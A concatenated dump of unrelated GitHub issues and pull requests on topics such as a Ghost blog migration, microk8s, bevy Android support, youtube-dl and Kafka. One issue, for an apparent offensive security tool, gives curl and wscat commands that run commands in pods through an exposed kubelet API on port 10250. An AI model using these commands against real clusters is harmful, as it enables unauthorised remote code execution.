second iteration inside first one

Hi Daniele. I as wondering how add second iteration inside first one, i red documentation but i cant do that. Like in your example, i  fetch data like author and book from mysql make iteration, but every book has a images stored in other table and i make another query. I try but..... errors :)

Sorry for the late replay but I was away.
If you could post an excerpt of your code I could understand what is not working in your specific case.


Transition to Ghost(Pro) from self-hosted Ghost

As discussed in #58

After discussion with @tpayet & @qdequele, they don't want us to move to the right tool for our blog right now. It's still something I want us to do as it will help us do our work more efficiently as soon as we hire a new Technical Writer. For now, we'll manage a publishing calendar with either a Google Calendar or a Google Sheet document. We will need to optimize images by end also. We still need to find a way to have MeiliSearch on our blog as it doesn't make sense our blog does not have a search option (I may be wrong!). I doubt it's less work than moving to Wordpress, but maybe Ghost is still popular enough that the integration team can create an integration, what do you think @curquiza ?

We did not have any users who asked for a Ghost integration at the moment, so not sure this is worth prioritizing. But tell me if it's necessary from your POV.

I'll let the bosses jump in, specially since the blog never had any search option, but from my POV, it looks bad that we offer a search solution and don't have any on our blog... I still think it will be faster to move from Ghost to Wordpress instead of creating an integration: I can do it in one hour, two if everything goes wrong.

Is this still P2?

@CaroFG I'd like to investigate the idea of hosting all blog content on GitHub.
We're going to move most of the process steps to GitHub, so I guess that it will be easier to have everything here.
There are a few other reasons: editing would be easier, this would encourage external contributions, it will be easier to cross-publish our content...
The first thing to do I guess is figure out if this is easily supported by Ghost. Also this is the right opportunity to update to its latest version.

Actually it was fairly easy to try it on a local Ghost installation. I'll now create a Cloud account!

text content: yes
images/video content: yes
members list: yes
staff list: no, but it's fine as we need to be careful with the pricing
theme: yes, but we should update it!
injected code: saved in one of those exports
navigation:  saved in one of those exports
know what integration are activited, and save their settings if feasible: saved in one of those exports
routes: yes

I'm deciding which plan to go for. I'm happy with the Creator one.
The only two issues would be:

for our largest files: We have a couple of heavy gifs and images that could be improved..
we only have 2 accesses. So it would be an admin access and a member access

I did that again with a Cloud version of Ghost: Ghost(Pro)

Ghost has a built-in search functionality now with the July update. I would love to have search functionality on the blog. Maybe it's time to update the ghost installation, won't take more than a couple of minutes I suppose. Cheers!

After discussion with @tpayet & @qdequele, they don't want us to move to the right tool for our blog right now. It's still something I want us to do as it will help us do our work more efficiently as soon as we hire a new Technical Writer. For now, we'll manage a publishing calendar with either a Google Calendar or a Google Sheet document. We will need to optimize images by end also. We still need to find a way to have MeiliSearch on our blog as it doesn't make sense our blog does not have a search option (I may be wrong!). I doubt it's less work than moving to Wordpress, but maybe Ghost is still popular enough that the integration team can create an integration, what do you think @curquiza ?

Actually @shermix we need to update our blog template, see #426 as we're now on Ghost(Pro)


Removed unused imports

Coverage remained the same at 93.912% when pulling 2bb97704319758ee5894be9cc31124397791f769 on vidi42:develop into c802521363887ff1aac20bbc9dc21fe0f1ccad4c on rulebook-rules:develop.


Traefik is not getting disable without any error notice

root@mk8snode:~# microk8s disable traefik
Disabling traefik ingress controller
traefik is disabled
root@mk8snode:~# microk8s status
microk8s is running
high-availability: yes
  datastore master nodes: <IP_ADDRESS>:19001 <IP_ADDRESS>:19001 <IP_ADDRESS>:19001
  datastore standby nodes: <IP_ADDRESS>:19001
addons:
  enabled:
    dns                  # CoreDNS
    ha-cluster           # Configure high availability on the current node
    prometheus           # Prometheus operator for monitoring and logging
    traefik              # traefik Ingress controller for external access
  disabled:
    ambassador           # Ambassador API Gateway and Ingress
    cilium               # SDN, fast with full network policy
    dashboard            # The Kubernetes dashboard
    fluentd              # Elasticsearch-Fluentd-Kibana logging and monitoring
    gpu                  # Automatic enablement of Nvidia CUDA
    helm                 # Helm 2 - the package manager for Kubernetes
    helm3                # Helm 3 - Kubernetes package manager
    host-access          # Allow Pods connecting to Host services smoothly
    ingress              # Ingress controller for external access
    istio                # Core Istio service mesh services
    jaeger               # Kubernetes Jaeger operator with its simple config
    keda                 # Kubernetes-based Event Driven Autoscaling
    knative              # The Knative framework on Kubernetes.
    kubeflow             # Kubeflow for easy ML deployments
    linkerd              # Linkerd is a service mesh for Kubernetes and other frameworks
    metallb              # Loadbalancer for your Kubernetes cluster
    metrics-server       # K8s Metrics Server for API access to service metrics
    multus               # Multus CNI enables attaching multiple network interfaces to pods
    openebs              # OpenEBS is the open-source storage solution for Kubernetes
    openfaas             # openfaas serverless framework
    portainer            # Portainer UI for your Kubernetes cluster
    rbac                 # Role-Based Access Control for authorisation
    registry             # Private image registry exposed on localhost:32000
    storage              # Storage class; allocates storage from host directory

Can you provide output of kubectl get all -n traefik and kubectl get events -n traefik?
Try run commands in  https://github.com/ubuntu/microk8s/blob/master/microk8s-resources/actions/disable.traefik.sh to see if you get some interesting output.


Winit 0.28 and android

Objective
Currently Android support has a few issues.  While learning winit I noticed 0.28 was going to change quite a bit for android thanks to @rib and this is an attempt to get ready for those and hopefully improve bevy android support.  This is not complete, but I have enough working that a few more eyes would be welcome.

Update to winit 0.8 when released
Fixes #3249
Addresses Resume/Suspend on Android

Solution
Two main changes changes with 0.28:

Android: rework backend to use android_activity crate, this removes the use ndk-glue in an attempt to support both NativeActivity and GameActivity.  This PR is large though while only targeting a NativeActivity example for now, though that is an goal.
Removed Window::set_always_on_top and related APIs in favor of Window::set_window_level, created WindowLevel settings to follow the bevy style and updated examples

Workaround for Resume/Suspend on Android

I spend over a week working on trying to fix this the "ideal" way, but I am now of the option its not possible due to fact that it would be such burden to the rest of the bevy community it wouldn't be welcome.  "After being Suspended on Android applications must drop all render surfaces before the event callback completes, which may be re-created when the application is next Resumed."  For bevy though this is a lot worse then it sounds, its not just window surfaces, its every render resource, basically anything wgpu had a hand in.  We have no way to reload plugins much less any resource that's been added from systems or FromWorld impls and since some of these resources are dependent on each other the order they would be reloaded matters.  It get even worse when you consider we don't know what to drop either.

  If you exit the eventloop on suspend, android will restart you on resume, its not ideal, but its better than a blank screen or crashing.

Todo:

[x] Fix Audio - See #86 notes
[ ] Provide example to save on exit and load on start
[ ] Test that I didn't break anything

Tried to break this down, but its all winit and android releated

Awesome, thanks for putting the work in. @rib, if you're able, I'd love your review here.

We have no way to reload plugins

This is useful context that will help shape redesigns of plugins, thanks for raising it.

much less any resource that's been added from systems or FromWorld impls and since some of these resources are dependent on each other the order they would be reloaded matters. It get even worse when you consider we don't know what to drop either.

Eventually we might be able to get away with something involving a dedicated schedule for this. For now though I think the dumb-but-vaguely-functional solution is the right one.

About the suspend and resume stuff, I'm not sure it's quite as bad as it may seem.
The only thing that needs to be re-created is the top-level render target/surface - not all wgpu rendering resources.
I think there's often a bit of a confusion about this topic, perhaps in part because it used to be true a long time ago that Android required a full GPU context tear down on some devices when they suspended and resumed (there was notion that a context would be "lost")
These days it's just the SurfaceView that is effectively dropped when the application suspends and the application can create a new render target and continue using it's pre-existing context and all gpu state (such as loaded textures etc).
I think a good first step for supporting suspend / resume would probably be to update this branch based on the last comments (unfortunately t ran out of time to follow up on that): https://github.com/bevyengine/bevy/pull/4913
Enabling suspend should then mainly just be a question of getting Bevy to re-create the render target surface for each resume on Android. This android-activity example tries to illustrate how that can work with wgpu + winit applications: https://github.com/rib/android-activity/blob/main/examples/agdk-winit-wgpu/src/lib.rs
In general though enabling suspend/resume support for Android can probably be treated as an orthogonal issue that shouldn't hold up an initial port to winit 0.28 + android-activity.

Switch from using global to resource, AndroidResource (happy to change the name), and pulled fn android_main from bevymain macro.  Without the global, main has to receive the app, a resource, or the android app its self,  or an option wrapping the later two.  Only the first option keeps non android builds from needing to know about android related crates.  This breaks the intended use of bevymain, but there is no magic global state.

I hadn't seen all the work in #4913, I got as far as recreating RenderApp resources and surfaces then threw in the towel once I started seeing the scope of the issue.  You are far more knowledgeable in this area.

Switch from using global to resource, AndroidResource (happy to change the name), and pulled fn android_main from bevymain macro. Without the global, main has to receive the app, a resource, or the android app its self, or an option wrapping the later two. Only the first option keeps non android builds from needing to know about android related crates. This breaks the intended use of bevymain, but there is no magic global state.

Seems reasonable to me. Name seems ok, if a bit general maybe? Maybe it'd be good to have 'App' in the name?
Personally I tend to think it's fine to not use the bevymain macro, but I'm not generally a huge fan of magic main function macros as a solution for platform portability vs having some tiny amount of explicit per-platform code. (I'm not a Bevy maintainer though so not sure what preference others will have)
Maybe if there would be strong interest in making the bevymain macro work with a main() that has no arguments on Android then it could at least somehow use a hidden thread-local instead of a global static, so that way it shouldn't conflict with the possibility of spawning multiple android_main() threads for separate Activities in the future.

Closing in favor of #7493, as this work has been adopted there :)

They were already done in the PR to update winit (https://github.com/bevyengine/bevy/pull/7480)

The other work from this PR has already been merged, so closing this out.


After run scan

nm = nmap.PortScanner()

AttributeError: 'module' object has no attribute 'PortScanner'

.


Don't use RequestResponse for manual run workflows in launch_clinical_payloads.sh AND launch_validation_payloads.sh

This can result in duplicate batch submissions

Related to #https://github.com/umccr/cttso-ica-to-pieriandx/issues/16


support dynamic getitem in dictionary for symbolic values

The old logic assumes getitem in dict is always a constant.
With a script like this:
def foo(a, v):
    return a[v].relu()

jfoo = thunder.jit(foo, cache="symbolic values")
a = {2: torch.randn(2, 2, device="cuda"), 8: torch.randn(3, 3, device="cuda")}
out = jfoo(a, 2)

Running into exceptions here:
NotImplementedError: Exception occured unpacking object from ProvenanceRecord(
  i1 = PseudoInst.INPUT_ARGS()
  i2 = PseudoInst.BINARY_SUBSCR(i1, 0)
  i3 = PseudoInst.BINARY_SUBSCR(i2, PseudoInst.CONSTANT([IntegerProxy name=i0, value=2, static=CONSTRAINT.CONSTRAINABLE]))
)

Since we now have PseudoInst.CONSTANT([IntegerProxy name=i0, value=2, static=CONSTRAINT.CONSTRAINABLE]), which tries to unwrap an IntegerProxy as constant.
The updated logic would preserve the wrapped value if it's holding a number proxy. So the above trace becomes something like this:
ProvenanceRecord(
  i1 = PseudoInst.INPUT_ARGS()
  i2 = PseudoInst.BINARY_SUBSCR(i1, 0)
  i3 = PseudoInst.BINARY_SUBSCR(i1, 1)
  i4 = PseudoInst.BINARY_SUBSCR(i2, i3)
)

The failure was the one mentioned in the CI weather in the #thunder slack.


zerotierone: make package configurable

Motivation for this change
The default zerotierone package doesn't build with the ZT_ENABLE_NETWORK_CONTROLLER flag (that flag allows a zerotierone node to act as a ZT Network Host) that I needed.
With this change, I can use the built-in service with a package containing the ZT network controller feature by doing
services.zerotierone.package = pkgs.stdenv.lib.overrideDerivation pkgs.zerotierone (oldAttrs: {
  preBuild = ''
    buildFlagsArray=(ZT_ENABLE_NETWORK_CONTROLLER="1" CXXFLAGS="-fPIC -I${pkgs.sqlite.dev}/include -L${pkgs.sqlite.out}/lib")
  '';
  buildInputs = [pkgs.sqlite];
});

Things done

[x] Tested using sandboxing
(nix.useChroot on NixOS,
or option build-use-chroot in nix.conf
on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] OS X
[ ] Linux

[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[x] Fits CONTRIBUTING.md.

Great, thanks!


Add location header in Create_promotions

As a developer
I need to have a location header
So that I can see the URL of a newly created promotion.

LGTM


garage-door-opener shown as air-conditioner

Hi,
I setup my garage-door-opener and have been able to teach the codes to open/close my garage door but unfortunately after adding to Homekit it is shown as air-conditioner instead of garage-door-opener.

I have the same problem with a fan. It is also shown as air-conditioner.

same problem here

It's a bug introduced in accessories/fan.js and accessories/garageDoorOpener.js after 3.6.18:
accessories/fan.js
accessories/garageDoorOpener.js


Consider bundling Amber

This is probably best for usability.

@paulthomson Please update your thoughts on this now that we use Amber.  Should we instead have an issue for bundling Amber automatically?

Yes


feat(calendar): add calendar component

Fixes #23
Changes proposed in this pull request:
adds calendar with the following functionality:

date range selection
event click
date click
day, month, week views

Newly added dependencies with Bundlephobia links:

@fullcalendar/core
@fullcalendar/react
@fullcalendar/interaction
@fullcalendar/daygrid
@fullcalendar/timegrid

LGTM


stop logging user keys

the alarm package logs user keys - it should stop doing that.

@csantanapr - this can be closed

Thanks for addressing this.


[Docs] Update README.md for stable/dev docs

References and relevant issues
This came up in the in the docs working group. The README has links to the old docs folder structure, before stable and dev docs versioning.
Description
This PR adds stable to all but the contributing guide, pointing that link to the dev docs.

@melissawm re CI it's #7037


Autorefreshing on 404 page (again?)

[x] I have searched the issues of this repository and believe that this is not a duplicate.

I'm playing with next 3.2.2 and am quite enjoying its simplicity and the plentifulness of examples. Awesome experience, even compared with other boilerplates I've used before!
After building a simple demo website based on the with-apollo example, I noticed a behaviour previously mentioned in #1888/#2305 and fixed in https://github.com/zeit/next.js/pull/2437.
Expected vs Current Behavior
My sandbox project has got three pages: index, about and _error, all wrapped into withData HOC that helps init and reuse the apollo client. There is also a custom _document page that enables i18n and styled-components. When I navigate between index and about, GraphQL cache persists and so there is no loading... message showing up after the data has been loaded for the first time (no matter if on the server or on the client). However, when visit a 404 page and then return to an existing page, the redux cache appears to be reset and so apollo does the data fetching again. Also when I click on a link that leads to a 404 error, Chrome's history of network requests wipes out, thus suggesting that the 404 page shows up after a full reload.
I deployed a built version of my experiment to https://en.test.kachkaev.ru/, but this URI is likely to be deleted or replaced in a few days.  The sources are in a private gitlab repo, but I can upload them to github if necessary.
How could I avoid this refresh behaviour and thus provide future users with a smoother UX?
Your Environment

Tech
Version

next
3.2.2

node
8.5.0

OS
macos / alpine linux (docker)

browser
latest chrome

@arunoda do you think your your PR #2437 could be somehow cancelled out? @pie6k @hchoriq do you experience the same problems in the latest next.js as you reported in #1888 and #2305?

I think this was fixed.


Global downloading speed limits in status bar

Transmission like

Can I suggest to display the actual limit speed just after the download speed in status bar too ?
Like : xxxx KB/s (Limit : xxxx KB/s)

That's also the uTorrent way of setting global speed limits from the status bar:

I would be a big fan of PicoTorrent implementing a similar feature too


[Site Support Request] My5.tv

Please follow the guide below

You will be asked some questions and requested to provide some information, please read them carefully and answer honestly
Put an x into all the boxes [ ] relevant to your issue (like this: [x])
Use the Preview tab to see what your issue will actually look like

Make sure you are using the latest version: run youtube-dl --version and ensure your version is 2017.10.01. If it's not, read this FAQ entry and update. Issues with outdated version will be rejected.

[x] I've verified and I assure that I'm running youtube-dl 2017.10.01

Before submitting an issue make sure you have:

[x] At least skimmed through the README, most notably the FAQ and BUGS sections
[x] Searched the bugtracker for similar issues including closed ones

What is the purpose of your issue?

[ ] Bug report (encountered problems with youtube-dl)
[x] Site support request (request for adding support for a new site)
[ ] Feature request (request for a new functionality)
[ ] Question
[ ] Other

The following sections concretize particular purposed issues, you can erase any section (the contents between triple ---) not applicable to your issue

If the purpose of this issue is a bug report, site support request or you are not completely sure provide the full verbose output as follows:
Add the -v flag to your command line you run youtube-dl with (youtube-dl -v <your command line>), copy the whole output and insert it here. It should look similar to one below (replace it with your log inserted between triple ```):
youtube-dl https://www.my5.tv/aircrash-terror-in-the-sky/season-1/aircrash-terror-in-the-sky -v
[debug] System config: []
[debug] User config: []
[debug] Custom config: []
[debug] Command-line args: [u'https://www.my5.tv/aircrash-terror-in-the-sky/season-1/aircrash-terror-in-the-sky', u'-v']
[debug] Encodings: locale UTF-8, fs UTF-8, out UTF-8, pref UTF-8
[debug] youtube-dl version 2017.10.01
[debug] Python version 2.7.12 - Linux-4.10.0-35-generic-x86_64-with-Ubuntu-16.04-xenial
[debug] exe versions: none
[debug] Proxy map: {}
[generic] aircrash-terror-in-the-sky: Requesting header
WARNING: Falling back on generic information extractor.
[generic] aircrash-terror-in-the-sky: Downloading webpage
[generic] aircrash-terror-in-the-sky: Extracting information
ERROR: Unsupported URL: https://www.my5.tv/aircrash-terror-in-the-sky/season-1/aircrash-terror-in-the-sky
Traceback (most recent call last):
  File "/usr/local/bin/youtube-dl/youtube_dl/extractor/generic.py", line 2156, in _real_extract
    doc = compat_etree_fromstring(webpage.encode('utf-8'))
  File "/usr/local/bin/youtube-dl/youtube_dl/compat.py", line 2539, in compat_etree_fromstring
    doc = _XML(text, parser=etree.XMLParser(target=_TreeBuilder(element_factory=_element_factory)))
  File "/usr/local/bin/youtube-dl/youtube_dl/compat.py", line 2528, in _XML
    parser.feed(text)
  File "/usr/lib/python2.7/xml/etree/ElementTree.py", line 1653, in feed
    self._raiseerror(v)
  File "/usr/lib/python2.7/xml/etree/ElementTree.py", line 1517, in _raiseerror
    raise err
ParseError: mismatched tag: line 38, column 2
Traceback (most recent call last):
  File "/usr/local/bin/youtube-dl/youtube_dl/YoutubeDL.py", line 783, in extract_info
    ie_result = ie.extract(url)
  File "/usr/local/bin/youtube-dl/youtube_dl/extractor/common.py", line 434, in extract
    ie_result = self._real_extract(url)
  File "/usr/local/bin/youtube-dl/youtube_dl/extractor/generic.py", line 3051, in _real_extract
    raise UnsupportedError(url)
UnsupportedError: Unsupported URL: https://www.my5.tv/aircrash-terror-in-the-sky/season-1/aircrash-terror-in-the-sky

If the purpose of this issue is a site support request please provide all kinds of example URLs support for which should be included (replace following example URLs by yours):
URL Source: http://www.channel5.com/genre/documentary/

Single video: https://www.my5.tv/aircrash-terror-in-the-sky/season-1/aircrash-terror-in-the-sky

Note that youtube-dl does not support sites dedicated to copyright infringement. In order for site support request to be accepted all provided example URLs should not violate any copyrights.

Description of your issue, suggested solution and other information
Please can Channel5.com (My5.tv) be added to the supported list, thanks

@dstftw duplicate?


EOF error and missing version support <IP_ADDRESS>

Versions
Please specify real version numbers or git SHAs, not just "Latest" since that changes fairly regularly.

Sarama
Kafka
Go

V0_10_2_1
0.10
1.10

Configuration
What configuration values are you using for Sarama and Kafka?
	oldest := beego.AppConfig.DefaultBool("account::kafka_oldest", false)
	verbose := beego.AppConfig.DefaultBool("account::kafka_verbose", true)
	brokers := beego.AppConfig.String("account::kafka_brokers")
	topics := beego.AppConfig.String("account::kafka_topics")
	group := beego.AppConfig.String("account::kafka_group")

	if verbose {
		sarama.Logger = log.New(os.Stdout, "[kafka] ", log.LstdFlags|log.Lshortfile)
	}

	/**
	 * Construct a new Sarama configuration.
	 * The Kafka cluster version has to be defined before the consumer/producer is initialized.
	 */
	config := sarama.NewConfig()
	config.ClientID = ClientId
	config.Version = sarama.V0_10_2_1
	if oldest {
		config.Consumer.Offsets.Initial = sarama.OffsetOldest
	}

Logs
When filing an issue please provide logs from Sarama and Kafka if at all
possible. You can set sarama.Logger to a log.Logger to capture Sarama debug
output.
logs: CLICK ME

[kafka] 2019/09/11 19:39:13 client.go:127: Initializing new client
[kafka] 2019/09/11 19:39:13 client.go:775: client/metadata fetching metadata for all topics from broker <IP_ADDRESS>:9092
[kafka] 2019/09/11 19:39:13 broker.go:214: Connected to broker at <IP_ADDRESS>:9092 (unregistered)
[kafka] 2019/09/11 19:39:13 client.go:534: client/brokers registered new broker #101 at <IP_ADDRESS>:9092
[kafka] 2019/09/11 19:39:13 client.go:534: client/brokers registered new broker #103 at <IP_ADDRESS>:9092
[kafka] 2019/09/11 19:39:13 client.go:534: client/brokers registered new broker #102 at <IP_ADDRESS>:9092
[kafka] 2019/09/11 19:39:13 client.go:174: Successfully initialized new client
[kafka] 2019/09/11 19:39:13 client.go:772: client/metadata fetching metadata for [account_message] from broker <IP_ADDRESS>:9092
[kafka] 2019/09/11 19:39:13 client.go:931: client/coordinator requesting coordinator for consumergroup cloud-sync from <IP_ADDRESS>:9092
[kafka] 2019/09/11 19:39:13 client.go:954: client/coordinator coordinator for consumergroup cloud-sync is #102 (<IP_ADDRESS>:9092)
[kafka] 2019/09/11 19:39:13 broker.go:212: Connected to broker at <IP_ADDRESS>:9092 (registered as #102)
[kafka] 2019/09/11 19:39:13 broker.go:253: Closed connection to broker <IP_ADDRESS>:9092
2019/09/11 19:39:13 Error from consumer: EOF
panic: Error from consumer: EOF

Problem Description
Kafka Server Exception:

Why Shopify/sarama/utils.go doesn't support V0_10_2_2?
https://archive.apache.org/dist/kafka/<IP_ADDRESS>/RELEASE_NOTES.html

github.com/Shopify/sarama v1.23.1


Opera browser support for 1.11.0

Description
After loading Portainer 1.11.0 on my Mac, I am unable to connect to it from a local Opera browser. Connections from Chrome work fine.
Steps to reproduce the issue:

Install Portainer 1.11.0 and launch
Run Opera 42.0.2393.94 - Opera is up to date
Connect to localhost:9000
Blank screen; some HTML is returned, but the page does not render.

Any other info e.g. Why do you consider this to be a bug? What did you expect to happen instead?
I expected to see the full new Portainer console, and I can see it via Chrome when I log in there.
Technical details:

Portainer version: 1.11.0
Target Docker version (the host/cluster you manage): 1.13.0-rc3 (Docker for Mac)
Target Swarm version (if applicable):
Platform (windows/linux): Mac
Browser: Opera 42.0.2393.94

When I do view source I get the following source code and a blank screen.

<!DOCTYPE html>

  <meta charset="utf-8">
  <title>Portainer</title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta name="description" content="">
  <meta name="author" content="Portainer.io">

  <link href="css/vendor.css" rel="stylesheet">
  <link href="css/portainer.css" rel="stylesheet">

  <link rel="shortcut icon" href="ico/favicon.ico">
  <link rel="apple-touch-icon-precomposed" href="ico/apple-touch-icon-precomposed.png">

One additional clue from the console, an Angular error:

@vielmetti could you give us the command you used to start the Portainer container?

@vielmetti pretty sure this issue is not coming from Opera but from the Portainer image you're using. I just tested it on Opera 42.0.2393.94 on Ubuntu and it works fine.

Thanks for the test run, @deviantony - I was able to get the system to run by putting the display on port 9001 instead of port 9000, which makes me think that Opera was caching something it shouldn't. Running it on a different port forced it to not use the cached data, as far as I can tell.
My invocation is
docker run -v /var/run/docker.sock:/var/run/docker.sock -p 9001:9000 -v ~/lib/portainer/data:/data --name portainer_9001_a portainer/portainer

and now it works under both Chrome and Opera (simultaneously). I'll close this since it's not something that is specific to portainer.


Fix C# get_all_delegates method for generic classes

If the class is generic, we must get its generic type definition and use it to retrieve the delegates.
Closes #47830

I tested this PR using the 3.x version (#55564) because there seems to be an issue in master with the Source Generators and generic types.

Thanks!


Add more PELT tests

This series adds:

a couple of improvements to the _LoadTrackingBase base class
a test for PELT tasks' utilization signals while using schedutil as governor
a test for CFS runqueues' utilization

I believe this is redundant with what @Elieva has been working on, am I correct ?

@Elieva, can you please have a look at the above patches to check if some of the proposed fixes/updates are still relevant after your #556 patches? Thanks.

I think the third commit(tests: load_tracking: add CFS runqueues' utilization test ) is similar to #551 because they both test the same behavior (task that migrates between cpus).
But the two other commits seem unrelated to the patches #556 and #551

I think this is mostly superseded by the abstraction done in analysis/load_tracking.py. Can this be closed?

Closing as the base code has changed too much and the PR would need reimplementation


Add check for kublet exec capabilities

harpoon kube-exec -h https://<node-ip | node-domain> [-p 10250] [-e command]
If -e is given then if the preliminary checks pass, harpoon will try to exploit the mis-configuration. This attack only works if you can route to the node api.
Check (verify/come up with a better check)
[[ '${curl --insecure "https://<node>:10250/pods" 2>1 | head -c 2}' != '{"' ]] && echo Match

Execute command
curl --insecure -v -H "Upgrade: WebSocket" -H "Connection: Upgrade" -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://<node>:10250/exec/default/redis-master-57fc67768d-klfw6/master?command=echo&command=hi&input=1&output=1&tty=1"

Stream results
wscat -c "https://<node>:10250/exec/default/redis-master-57fc67768d-klfw6/master?command=echo&command=hi&input=1&output=1&tty=1" --no-check

As it turns out we don't actually need to do the second step. We can just make a websockets request to the endpoint from the get go and have command execution.

Easier way:
curl --insecure -s https://<IP_ADDRESS>:10250/run/default/kublet-name-here/nginx/ -d "cm d=ls"


feat(object): Allow for presigning upload url

What kind of change does this PR introduce?
Introduces a new feature to sign an upload url, which allows for uploading straight to the bucket without credentials.
What is the current behavior?
It's currently not possible to upload a file from the client side, without routing it through your own server, which is not the preferred way.
What is the new behavior?
You can now presign a upload url with your service token, and give the url to any client which can then upload the file directly.
Additional context
Closes #81
Add any other context or screenshots.
First PR for the Storage API

@MagnusHJensen great work with this PR!
This feature is indeed very useful.

This week i'll spend sometime to check it out 👍

Sounds great @fenos
Let me know of any findings or questions.

Hello @MagnusHJensen sorry for the delay, I was away during the Christmas holiday.
I had time to look over the PR and generally looks good.
However one important aspect that we need to get right is to understand who has the permission to create the upload URL.

Hi @fenos
Feel free to take over this PR if you have the time and find the feature needed enough.
I don't think I will have the time in the near future, for finishing this. If it still stands once I do have time, I will finish it up

Sorry to be annoying with a +1 that doesn't contribute anything but... I hope this makes it in, it would be a fantastic feature.

Closing in favour of #81


Fix Issues with Microsetta-Processing Scripts for American Gut Project Data

While initially running the TMI scripts to capture the American Gut Project microbial data, I had encountered runtime errors while running the scripts on barnacle. I encountered these issues while using the default/suggested system variables as provided on the github page.
Lucas (@lpatel) and I identified and resolved two bugs in the following files:

05c.beta.sh:
Corrected the input parameter for the k_neighbors.py script. Originally, it was using weighted_unifrac.qza as the distance matrix input. However, there was no other mention of this file elsewhere. I've updated this to weighted_normalized_unifrac.qza to match with the expected data processing flow.

metadata_operations.py:
Implemented a conditional update to address a situation where the mapping dictionary could be empty, when using the AGP studies(10317) as '$STUDIES' variable. This lead to an unnecessary update to the Biom table IDs when using the AGP data for our '$STUDIES'. This change should make sure that ID updates only occur when there's actually mapping data to apply, thus preventing unnecessary calls to the 'update_ids' functions.

Affected Files:

scripts/05c.beta.sh
scripts/metadata_operations.py

Testing:
The fixes were tested in the same environment where the issues were initially encountered. Post-fix, the scripts ran successfully without any runtime errors, processing the American Gut Project data as expected.
Please review these changes for inclusion in the main branch to ensure a more reliable data processing experience for future users.

Implemented a conditional update to address a situation where the mapping dictionary could be empty, when using the AGP studies(10317) as '$STUDIES' variable. This lead to an unnecessary update to the Biom table IDs when using the AGP data for our '$STUDIES'. This change should make sure that ID updates only occur when there's actually mapping data to apply, thus preventing unnecessary calls to the 'update_ids' functions.

More specifically, when $STUDIES == 10317, the mapping object is empty and the pipeline fails. This amends that.


Dark Mode

Hello, Add Dark mode support in Dialog

@iusama46 Dark Mode is already supported in Dialog? Are you facing any issue here?

Camera/Gallery icon & text does not look good. Is there any way to change text & icon color for dark mode?

@iusama46 Please add below resource in your values-night color resources:
<color name="dialog_choose_icon_color">#757575</color>
<color name="dialog_choose_text_color">#757575</color>

Okay,Thanks


feat: Alternative OpenAI Endpoint URL

feat: Use a custom URL for OpenAI API endpoints
refactor OpenAI config
minimal tests

Author: @drewbaumann . Thanks!

Nice refactor!


SEO cards og:title and twitter:title using description

meta tags og:description and twitter:title are both using og_description and twitter_description respectively, probably a mistake from copy pasting.

im already doing he pr to fix this

Thanks for the help @Darival. Just merged it in and it'll be available on the next release.

I noticed this too, thanks for the fix @Darival @austintoddj


feat: assign _SASPROGRAMFILE macro-variable to full path and filename of submitted SAS program (Local SAS 9.4)

implements #521
Summary
Add code to set environment variable SAS_EXECFILEPATH to the full path and filename of the SAS program code is being submitted from
Testing
manually tested against local SAS 9.4 profile

@scnwwu updates done

@jbodart-argenx, would you mind update the decription of this PR to reflect the current implementation so it's easier to refer in future? Thanks.

@jbodart-argenx, would you mind update the decription of this PR to reflect the current implementation so it's easier to refer in future? Thanks.

done - can I close the PR ?

done - can I close the PR ?

Testing team will test it. Once approved, I'll merge it. Thanks for your patience.

The file full path and name of the submitted SAS code will be shown on OUTPUT tab page.

Question, is it possible to add this macro variable also for .sasnb files?

I assume that should be possible, but I don't have experience working with .sasnb files so I could not test it without first getting introduced to using such files.


JS Keystore Docs (with updated file structure)

(Up to date with new file structure)

Added autogenerated docs for keystore
Added a walkthrough with code/usage examples in using-js-keystores.md (note: will not work until first version is published); this is what it will look like on gitbook

Split so as to not clutter the first PR (#8096)

@AlexBHarley that file is autogenerated by yarn docs, but yeah doesn't show up anywhere except in the repo if you click into the package!


fix: added few layout fixes and calculator rewards logic with mocked APR and fiat price

Dependencies added
tailwind-scrollbar

DescriptionTailwind plugin for styling scrollbars
AuthorGraham Still
LicenseMIT


FIX Ensure everything gets flushed when flushing from sake

Ensures Flushable classes get flushed when flush booting the kernel, regardless of where that's happening from.
Issue

https://github.com/silverstripe/silverstripe-framework/issues/11435

CI failures are identical to what's happening on the 6 branch -  see https://github.com/silverstripe/silverstripe-framework/actions/runs/11448877901/job/31853334275

once that's done could you please re-run tests to confirm that things are green

I assume you mean in this PR specifically lol

I was avoiding unnecessary breaking changes, because this was meant to be just a quick bugfix. I'll put this back in ready, I've got way too many things running concurrently right now to do a full breaking change PR for this.

Updated, CMS 5 PRs incoming


please release latest betas

The current version is 0.15.33.
I tested it locally with make_release.sh. Looked good. :)

Done!

Woohoo! Thanks! \o/


Added uriparser

Two new functions to parse relative uris to their base uri.

You need to solve the conflicts!

Alright. Should i push to dev or master ?

Can it run normally? If yes, then push to master. if not, push to dev.

Yes it can. Alright.


installation issues - coggeo command

Having some issues popup with install on Ubuntu 22.04.2 LTS with Python 3.10.6. I have GDAL 3.4.1 installed
gdal-bin is already the newest version (3.4.1+dfsg-1build4).
rio installs but not the cogeo command
cogeo      † Warning: could not load plugin. Seerio cogeo --help.
rio cogeo --help yields
Warning: entry point could not be loaded. Contact its author for help.

Traceback (most recent call last):
  File "/usr/local/lib/python3.10/dist-packages/click_plugins/core.py", line 37, in decorator
    group.add_command(entry_point.load())
  File "/usr/local/lib/python3.10/dist-packages/pkg_resources/__init__.py", line 2518, in load
    return self.resolve()
  File "/usr/local/lib/python3.10/dist-packages/pkg_resources/__init__.py", line 2524, in resolve
    module = __import__(self.module_name, fromlist=['__name__'], level=0)
  File "/usr/local/lib/python3.10/dist-packages/rio_cogeo/__init__.py", line 5, in <module>
    from .cogeo import cog_info, cog_translate, cog_validate  # noqa
  File "/usr/local/lib/python3.10/dist-packages/rio_cogeo/cogeo.py", line 12, in <module>
    import morecantile
  File "/usr/local/lib/python3.10/dist-packages/morecantile/__init__.py", line 14, in <module>
    from .defaults import TileMatrixSets, tms  # noqa
  File "/usr/local/lib/python3.10/dist-packages/morecantile/defaults.py", line 11, in <module>
    from morecantile.models import TileMatrixSet
  File "/usr/local/lib/python3.10/dist-packages/morecantile/models.py", line 101, in <module>
